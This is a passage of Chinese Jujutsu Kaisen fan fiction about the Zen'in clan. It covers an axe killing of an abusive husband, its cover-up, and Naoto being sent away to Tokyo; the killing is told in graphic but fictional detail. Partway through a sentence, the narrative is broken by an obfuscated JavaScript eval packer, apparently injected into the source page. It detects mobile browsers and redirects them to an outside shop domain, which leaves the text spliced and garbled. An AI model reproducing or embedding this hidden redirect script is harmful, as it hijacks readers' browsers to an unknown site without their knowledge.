哐当一声,那个男人进屋了。 带着浓烈的酒气。 他从进屋就开始不停地辱骂春枝,走起路来摇摇晃晃,撞开了前来搀扶他的春枝,又一脚踹翻了案桌。 刚熟睡的婴儿重新哭闹起来,哭声撕心裂肺。 衣橱门没关紧,漏出一条小缝。 直人和风介透过那条缝看着屋内的情景。 风介认出那男人,竟然是躯俱留的首领,禅院尤建。 婴儿的哭声和男人的骂声交杂在一起,春枝抱着跪在地上,不停地朝男人磕头,带着哭腔说对不起。 那样弱小的女人,连哭泣的声音都大不起来。 可男人却没有因此心软,反而一脚踹了上去,小小的一个春枝径直瘫倒在地,连孩子都从怀里滚了出去。 人渣。 风介这样想着。 但他却没有动。 他开始后悔为什么要跟过来。他看了眼直人,直人仍看着外面,或许是因为衣橱昏暗,直人的表情显得很冷静。 风介又庆幸自己还好来了。 他看着还在哭泣求饶的春枝,心有不忍,却只别过脸,不愿再看。 结果下一秒,哗啦一声,衣橱的门被推开,风介瞪大眼睛转过头,看见直人直接冲了出去。 尤建反应不及,被直人撞开。但直人也不壮,尤建只是被撞得晃了两下。 尤建转头看见直人,眼睛一瞪,就开始骂春枝是个□□,偷藏男人。 接着,又开始嘲笑春枝,连直人这种废物都瞧得上。 尤建一巴掌扇在直人脸上,力道大得直人直接滚倒在地,鼻血当下就涌了出来。 尤建哈哈大笑,说直人在躯俱留的时候就是个任人凌辱的货色,这几年居然一点长进没有。 风介不能再躲下去了,他冲出来,扑倒尤建,两个人在地板上扭打起来。 尤建是躯俱留里最强的,风介体术在同龄人里也算拔尖,两个人打得有来有回。 但风介毕竟年轻,体格没有尤建强壮,很快就有点应付不来。 他气喘吁吁,想叫直人去找人,刚想开口又怕事情闹太大。 他回过头,居然没看见直人,只有春枝披头散发抱着孩子窝在角落惊魂未定,通向外廊的门开着。 尤建一拳打来,风介连忙避让,没心思再去找直人。刚还了一拳回去,风介身后突然传来直人的声音。 “风介。” 风介闻声扭头,只见重新出现的直人高举一把斧子,看不出情绪的眼睛黑得见不到底,再不等风介反应,斧头照着尤建砍了下去。 风介阻拦的话卡在喉咙里,身后骨头断裂的声音响起,滚烫的血液溅了风介一身,底下的人挣扎了两下,慢慢开始不动。 风介闭上眼,攥着尤建的衣领的手被不停涌动的液体舔舐着,耳边的声音无限归于寂静。 风介深吸一口气,眼睛又缓缓睁开,他再看向尤建,那对怨恨的眼珠子瞪得都要掉出来,斧刃就嵌在尤建锁骨里。 直人还是有些紧张的。 他抬手用力往外拔,又是扑哧一声,斧子被拔出来,血立马就喷涌了一地,浸湿了风介的袜子。 直人大口喘着气,手一松,斧子掉到地板上,手柄被血液淹没。 尤建又动起来,喉咙里咿咿呀呀地呻吟,声音很快被血液呛进嗓子。直人没砍准,他力道也不大,尤建没死。 风介感觉自己停止的心跳又恢复了,他低喊:“快去叫医生,快去叫医生——” 尤建是躯俱留首领,虽然地位不高,但要是死在直人手里,绝对会被大做文章。 可是风介话音还没落地,春枝不知道什么时候已经扑了过来。 那个瘦小的女人,她捡起直人落在地上的斧头,双手握住被丈夫血液泡得湿滑的斧柄,猛地一挥,一斧子砍在了尤建脖子上,发出皮肉断裂的声响。 死不瞑目的头颅从他的躯体上滚落,骨碌碌转了几转,最后面向风介和直人。 47. 【四十一】回忆 房间里满目腥红,血液慢慢地以尸体为中心往外漫延。 风介缓缓起身,两只手都沾满了血,他心里突然一下空得要命。 房间很安静,他只听得见自己粗重的喘息声。 突然,孩子的哭声钻进风介耳朵。 他转身,看见刚才下手一个比一个狠的两人居然紧紧抱在一起,哆哆嗦嗦地跪在地上,两张湿漉漉的脸望着他,婴儿就夹在他们中间。 直人已经比春枝还要高大了,但他还是缩成一团,往春枝怀里躲。 春枝搂着他的头,用力地把他往自己胸口摁,像是想把他藏起来。 春枝的手去捂直人的眼睛,摸到直人脸上还没干的血液,又慌忙地来回擦拭着,结果手上的血连带着直人脸上的,糊成一团。 那两双眼睛一齐看着风介,大滴大滴的泪水从春枝眼睛里涌出来,滴到直人脸上,血液和泪水混在一起往下淌。 孩子还在哭,直人的手拍着婴儿的襁褓,那个花花绿绿的漂亮襁褓,已经沾染上血污,肮脏不堪。 三个人就这么对望着,谁都没说话。 最后是直人,他从春枝怀里爬出来,膝行到风介脚下,抬手拽着风介的袖口。还是不说话,那双湿润的,却没有流出眼泪的眼睛从底下仰视着风介。 春枝见状也连忙手脚并用爬过来,脸依贴着风介的衣摆,低声啜泣,哭声像小兽在哼。 这是风介,第一次用术式处理人类的尸体。 几天后,几日没在躯俱留报道的尤建被报了失踪。 期间春枝一口咬定尤建没有回去过。 时间又过了两周,禅院家直接注销了尤建的身份证件,记了死亡。 直人去求了惠子,惠子把春枝调来直毘人院子里做事,春枝带着两个孩子顺势住在了这边下人房里。 春枝的继子毕竟才九岁,她不忍心这么小的孩子就要一个人生活,因此把他也带了过来。 直人和春枝都没读过什么书,两个人头对头琢磨一晚上,给孩子取了简单的名字,叫春来。 风介松了口气,至少不叫直春。 他们都很默契地再也没有提过尤建,这件事就连直哉也不知道。 这之后的生活也还算平顺,尤其是直人,可能是因为有了春枝和春来的陪伴,他整个人的精气神都变得不一样。 虽然还是不太爱说话,但瘦削的脸颊相比之前也圆润了点,眼睛有了神采后眼尾也像直哉那样上挑,嘴角含笑。 有时候直毘人见了都要感叹一句,两兄弟又长得一模一样了。 模样标致,却乖巧得多的直哉翻版让直毘人看着舒心,连带着对他的注意也多了,偶尔还会喊他帮忙处理文书。 再加上直哉一路顺风顺水,实力精进,从小跟着直毘人出席大小场合,刚满14的时候就被安排进了炳,从队长起步开始历练。 两兄弟的地位越来越稳,扇再不满,也不得不对直人客气,不再阻挠他探望真希真依,两姐妹和春来平时就跟着直人。 风介再回想起当年那件事,居然也在心里庆幸。这样的结果还算不错,反正只是死了个人渣而已,很划算的买卖。 直哉一直不清楚发生了什么,虽然他对直人喜欢小孩这件事相当厌烦和不解,甚至觉得有些丢人,但看直人不像以前那样老垮个出丧脸,他也就权当看不见。 他近两年和直贺关系走近了不少,虽然他觉得直贺很蠢,但戏弄着玩也还算有意思。 风介不怎么和直贺聊得到一块去,所以看到直贺又来找直哉,就自己借口想休息,转头走了。 直人看见风介一个人在院子里坐着,他打发了春来和双胞胎姐妹去一边玩,自己过来找风介。 新年刚过不久,直人身上穿着年前春枝给他赶制出来的新衣,用直哉定制的布料做的,彩色的丝线在雪光下熠熠生辉,衬得一张脸也白里透红,很有朝气,让人看着就心情好。 “直贺和直哉关系越来越好了。”直人在风介旁边坐下,眼睛看向不远处的直哉直贺。 “嗯。”风介随口应和。 直人回头看了他一眼,继续说:“直哉最近和你来往少了。” “因为我每次看他回来,都和直贺在一起呢。” 风介点点头:“最近过年,族里的事比较多。” 直毘人看得上的几个儿子都要负责处理祭祀,慰问族人之类的事,他们凑一块儿,自然也没风介什么事了。 “但是你在的时候,直哉不也和直贺说话更多吗?你不会觉得直贺太过分了吗,明明看见你在还要凑过来找直哉。” 风介终于回味到不对劲了,直人平时很少无缘无故和谁闲聊,向来都是抱着目的的。 风介转头看向直人:“你到底想说什么?” 果然,风介一问,直人就直说了:“我不喜欢直贺,也不喜欢他和直哉在一起。” “为什么?”风介想了下,说:“你之前不是还喜欢去藤子夫人那里玩吗?” 话一出口,风介突然意识到,好像已经很久没听直人提起过藤子了。 直人脸上那点笑消失了,他说:“直贺说我是直哉的拖累,我讨厌他。” …… 风介知道,直贺这人说话向来不中听,风介又不愿和傻子计较,这也是他和他聊不到一块去的原因之一。 但直贺也没什么坏心思,恐怕是又不小心说了不该说的,把直人得罪了。 他斟酌着,想说几句话开解直人:“直贺他,这人就是说话——” 直人不想听,他打断风介,径直说:“要是没有直贺就好了。” 风介看着直人,没说话。 直人又重复了一遍,脸上重新带上那种试探的,不走心的笑。 风介还是没接话。 直人又开口了,声音很轻,像在自言自语。他说:“就像尤建死了那样,如果没有直贺……” 他不说了。 但风介后颈的汗毛,一根一根竖了起来。 他盯着直人笑得平静的侧脸,心头一惊。他意识到,直人尝到杀人的甜头了。 这场对话没再继续,因为春来跑来了,小姑娘裹得很厚,发髻是直人亲手给梳的。她跑到直人面前,抓着直人的手要去玩。 直人脸上那点虚伪的笑瞬间没了。他弯下腰,真的在笑,眼睛弯起来,让春来牵住他的手指。 直人没再看风介,也没和风介说话,任由春来牵着他,一大一小慢慢走远了。 风介坐在原地,没动。雪光刺眼,他眯起眼睛,看着直人的背影。直人的话还停留在他耳畔,让他胃里发凉。 他越想越不对劲。 细想之下,直人和藤子不来往,好像是很久以前了,那这么看来和直贺有嫌隙也不是一天两天的事。 为什么今天突然提起? 风介的余光忽然瞥见一个人影。 是春枝。 她拿着扫帚,在廊下安静地扫雪,动作不紧不慢。她也穿了新衣,是下人中较好的料子,颜色素净,衬得人很干净。 这几年,春枝也变了。 不再是当年那个瘦得脱相,眼里只有惶恐的苦命女人。 她脸上有了肉,肤色养回来了,头发乌黑浓密,在脑后挽了个简单的髻。 他盯着春枝看了几秒,站起身,朝春枝走过去。 脚步很快,踩在雪上咯吱作响。 春枝听见声音,抬起头,看见是风介,愣了一下,随即放下扫帚,朝他躬身。 风介没停,径直走到她面前,压低声音:“跟我过来。” 春枝有些疑惑,但没多问,放下扫帚,默默跟在他身后。风介把她带到一处背风的角落,这里没人。 他转过身,面对春枝。 春枝微微垂着头,双手交握在身前,等着他吩咐。 风介没绕弯子,直接问:“是不是你,和直人说了什么。” 春枝没抬头,也没说话,手在身前绞动。 风介盯着她:“我问你,直贺的事,直人有没有和你提过。” 春枝点点头,她本来就很信任风介,所以也不隐瞒,小声说:“直人少爷说他不喜欢直贺。” “那你怎么说的?”风介又问。 春枝抬起头,乌黑的眼睛看着风介,说:“要是直贺没了……” 果然。果然。果然。 风介的声音要压不住火:“所以你们是还想杀了直贺是吗?” 春枝被吓到了,她哆嗦了一下,眼里的泪水又开始打转。她望着风介,声音发抖,但是却很理所当然地说道:“可是尤建死了,我的人生就变得幸福了。那直贺死了,直人少爷就——” 杀掉让你痛苦的人,痛苦就消失了。 她试过,成功了,所以这是个好办法。 “直贺死了,直人就幸福了?”风介看着她的脸,那张变得圆润美丽的脸,那副和以前一样,沉默望着他,要哭不哭的神态。 他忽然觉得头皮发麻。 “春枝,”他声音发干,“这不是死一个直贺的事。” 春枝看着他,眼神带着疑问,好像在问,那是什么事? 风介张了张嘴,却发现自己说不出话来。 他怎么跟她解释? 他们两个根本就不懂,直人和春枝,这两个头脑简单的笨蛋,他们根本就不懂。 三年前杀了尤建,现在就有了直贺,等杀了直贺,还会有别人,直人讨厌的人能出一本书了! 迟早有一天,等直哉实力够了,直人说不定还会想唆使直哉去杀了扇。 风介看着春枝全然不理解,甚至有些无辜的眼神,忽然觉得无比疲惫。 跟她说这些有什么用。 她不懂。风介深吸一口气,把后面所有的话都咽了回去。 他懒得再说了,他转过身,头也不回地走了。 走之前他又警告春枝,不许再给直人出这些主意,不然他就把她和春来送走。 风介走出那个角落,穿过长廊,冷风扑面而来,刮在脸上像刀子。他脑子乱哄哄的,像塞了一团湿透的棉絮。 怎么办,他得想个办法。这事不能这么下去。 可他能跟谁商量? 谁能管? 直哉吗?妈的,他可不能给直哉提供灵感了,这两兄弟一个比一个难办。 不知不觉,他走到一处偏院附近。旁边一间和室的门开着一条缝,里面传来喧哗的人声。 是炳的几个人,做完任务回来,聚在一起喝酒闲聊。 风介本来没在意,正要走过。 里面一句话飘进他耳朵。 “……五条家那个六眼,真是越来越不像话了。” “听说去了东京那所高专,跟外面那些平民术师混在一起,思想都歪了。” “何止歪了,上次聚会,居然公然说御三家是烂橘子,咒术界该换血了。” “不可理喻……堂堂五条家的继承人,居然自甘堕落,跟那些杂鱼混在一起……” 里面传来哄笑和议论。 风介的脚步,停住了。 他站在廊下,雪落在他肩头。 脑子里那些乱麻,忽然被一道亮光,劈开了一道缝。 高专。 东京。 五条悟。 平民术师。 去外面,让直人,去外面。 直人呆的地方太小了,他快15岁了仍没有离开过这个宅院。他接触的人太少了,只有他们和几个女人孩子。他可做的事太少了,一静下来就开始胡思乱想。 让他去一个没有禅院,没有直毘人,没有扇,没有直贺,没有这些让他为一些琐事痛苦心烦,让他滋生杀意的人的地方。 去一个全新的环境,放开他的眼界。 让直人知道他的世界不只有直哉,让直人遇见更缠人的麻烦,比如学习、交际,让他忙得没空再来琢磨他又讨厌上谁了。 谁能做到? 风介调转方向,去了直毘人的房间。 相比风介弯弯绕绕的试探,直毘人答应得很爽快。 甚至没有问缘由,他说他也看够直人成天抱着几个孩子转了。 那双随岁月衰老的眼睛在黑暗里盯着风介,带着瞧热闹一样的笑。 他也答应了,不会透露是风介的主意。 在风介期待,又有些惴惴不安的等待中,安排直人进东京咒术高专的消息在三月份的一个早会,被直毘人轻飘飘告 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16887288|192059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 诉了直哉。 直哉当场就炸了,开始还压着脾气据理力争,最后交涉无果直接当着所有人的面冲上主位向直毘人挥拳,然后不出所料被揍得很惨。 等这个消息传到直人耳朵里,直人的反应让风介开始有些怀疑自己的做法是否恰当。 他没料想到直人对出门读书这件事那么排斥,他跪坐在房间里,一声不吭地落眼泪。 风介试着劝慰他,说他以前不是想出去看看吗? 可是直人就是不说话,眼泪一个劲地往下落。 东京对他来说太远了。 要坐汽车,坐飞机,说不定还要坐新干线,坐电车。 他连自行车都不会骑啊! 而且没有直哉,也没有风介,只有他一个人。 东京的学校里,还有那个曾经把直哉揍得青一块紫一块的五条悟,第一次见面就抢了他的花环。 春枝也哭,两个人又抱在一起,吧嗒吧嗒落眼泪。 刚被揍了一通的直哉唰地拉开门,铁青着脸进来了。他一进来就看见两个泪人,心情更加不妙,让春枝赶紧滚蛋后,一屁股坐下来开始痛骂直毘人。 春枝走了,慢慢的,直人的眼泪也停了。 他是个很识时务的人,并不想惹直哉更生气。 何况他还抱着点幻想,毕竟离开学还有一个月,说不定直哉能在这一个月说动直毘人。 风介坐在旁边,不敢看直人,也不敢看直哉。连晚上睡觉都不安稳,他这个人实在不适合做亏心事。 一直到开学前一周,春枝已经放弃了,她开始哭哭啼啼地给直人收拾行李。 风介拿着光盘给直人放录像带,让他学怎么坐飞机,下了飞机怎么打出租。 直人面如死灰。 这段时间他一直都很安静,没有再哭过。但肉眼可见地消瘦下去,变得很憔悴。 风介不知道他是不是已经接受了,还是说对直哉仍心存希冀。 直哉又吃了闭门羹回来了。 他看见摊了一地的行李,居然没有生气地让春枝滚蛋,憋了半天,吐出一句:“老不死房间还有几张禅院祖宅的地契,要不要给你也一起塞进去。” 房间安静了片刻。 风介把花瓶从行李箱里拿出来,还一边和春枝说:“少装点,过去了直人缺什么自己买。” “直人少爷……连花钱都不会……”春枝又哭开了。 …… 直人意识到直哉说这种话,意味着直哉也认了。 他低着头,看不清表情。 风介见状又过去,手搭在直人肩膀上,安慰他:“到时候我和直哉有空来看你,多大点事。” 也许是这句安慰,沉默数日的直人终于爆发,他一改常态地跳起来,把那个花瓶砸在直哉脚边,指着直哉大骂:“你就是个废物!” “不是说自己很厉害吗,结果连留下我都做不到,到最后也只能乖乖听父亲的话。” “每次都这样,每次都这样——!!!” 直人尖锐的咒骂响彻整个和室,风介愣在原地手足无措,就连春枝都忘了哭。 所有人都傻傻望着直人。 天啊。 风介回过神,还有闲心在心里感慨,直人胡闹起来居然和直哉一模一样,两个人真不愧是双胞胎。 说到直哉,风介忐忑地去看直哉的脸色。 本来以为直哉会大发雷霆,但没想到,直哉只是站在那里。花瓶砸在他小腿上,碎了一地。 他两手死死攥成拳,眼神愤恨,牙死咬着嘴唇,甚至渗出血丝。 他没有反驳直人,也没有恼羞成怒地去还手打他。 只是站在那里。 很安静。 安静到让风介不安。 “吵死了,你们几个有让我安心过一天吗?” 是直毘人。 他猛地拉开了门,直人的尖叫和咒骂戛然而止。 直哉转过头,猩红的双眼看向直毘人。 然后他发动术式扑了过去。 很顺理成章的,他被直毘人一招踹飞了。 被直哉烦了近一个月,直毘人心情也不好,面色不善地准备给这个小兔崽子一点教训。拳拳到肉,把直哉往死里揍。 风介和春枝都吓得愣住不敢动,直人眼泪也不流了,眼看着直哉被打得不能动弹,又连忙跪过去,抱着直毘人的大腿,哭着给直哉求情。 最后直哉被关了禁闭。 直毘人还勒令,直人走的时候只允许风介去送。 走的前一天,风介拎着死沉死沉的行李,跨过了禅院家的大门。 这一刻,风介突然感到心里轻松了不少。他呼了口气,至少终于到这一天了。 他回过头,直人还在门内。 漆黑的眼睛望着风介,默默地流着眼泪。 真是的,别哭成这样啊,害得我很愧疚啊。 风介转身,朝直人伸手:“走吧。” “风介。”直人开口,声音沙哑,他回头望向家,他生活了数十年未曾离开的地方,他望向直哉房间的方向,重新看回风介,他说:“我后悔了。” 风介的手伸在半空:“……什么?” 开什么玩笑,这时候说这种话,是想让我也后悔吗? 我当时是不是应该再试着多劝劝直人呢? 我太冲动了吗? 风介,你好像做错事了。 直人的眼泪流得更凶了,说起话哽咽个不停:“我不该……不该说直哉是废物……我说了不好的话……我才是废物……我是不是让直哉伤心了……” …… 风介一愣,别过脸,笑了几声。 他转身走回到直人身边,牵起了直人的手:“那以后就别再说了。” “你不是废物,直哉也不是。” 妈的,因为我才是。 “别再说违心的话,别让对方难过,你们是最亲近的兄弟。” 可我让你们分开了。 风介牵着直人的手,直人跟在他身后,两人一起跨过了门槛。 走吧,直人。 风介没再回头,手紧紧攥着直人的手。 出去。 去外面。